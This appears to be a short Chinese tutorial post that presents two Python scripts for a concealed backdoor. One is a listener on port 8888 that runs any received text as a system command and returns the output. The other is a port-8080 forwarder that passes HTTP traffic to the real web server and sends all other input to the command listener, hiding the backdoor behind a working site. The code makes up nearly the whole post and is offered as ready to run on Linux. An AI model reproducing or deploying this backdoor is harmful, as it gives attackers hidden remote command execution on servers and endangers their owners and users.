php设置socket端口转发,python基于socket进行端口转发实现后门隐藏的示例

思想：

用户正常浏览器访问请求通过8080端口，请求若为http请求，则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码：

#!/usr/bin/env python

from socket import *

import os

HOST='127.0.0.1'

PORT=8888

BUFSIZE=1024

ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)

tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcpSerSock.bind(ADDR)

tcpSerSock.listen(5)

while True:

print("waiting for connection...")

tcpCliSock,addr = tcpSerSock.accept()

print("...connected from:",addr)

while True:

data=tcpCliSock.recv(BUFSIZE)

if not data:

break

info = data.split('n')

command = info[0]

try:

os.system(command + " > command.txt");

file = open('command.txt')

data =""

for line in file:

data=data+line;

tcpCliSock.send(data)

except Exception:

tcpCliSock.send("Nothing to do")

tcpCliSock.close()

tcpSerSock.close()

8080端口转发代码：

#!/usr/bin/python

from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))

tcp1.listen(10)

BUFFER_SIZE=2048

tcpCliSock,addr = tcp1.accept()

while True:

data = tcpCliSock.recv(BUFFER_SIZE)

if 'HTTP' in data:

tcp3 = socket(AF_INET,SOCK_STREAM)

tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp3.connect(('127.0.0.1',80))

tcp3.send(data)

htmlinfo = tcp3.recv(2048)

if not htmlinfo:

tcp3.close()

else:

tcpCliSock.send(htmlinfo)

else:

tcp2 = socket(AF_INET,SOCK_STREAM)

tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp2.connect(('127.0.0.1',8888))

data = data.replace("n"," ")

print data

tcp2.send(data)

commandinfo = tcp2.recv(1024)

tcpCliSock.send(commandinfo)

tcp2.close()

tcpCliSock.close()

tcp1.close()

有些地方还有些小问题等待修正，但是linux下是可以完美运行的。欢迎学习交流。

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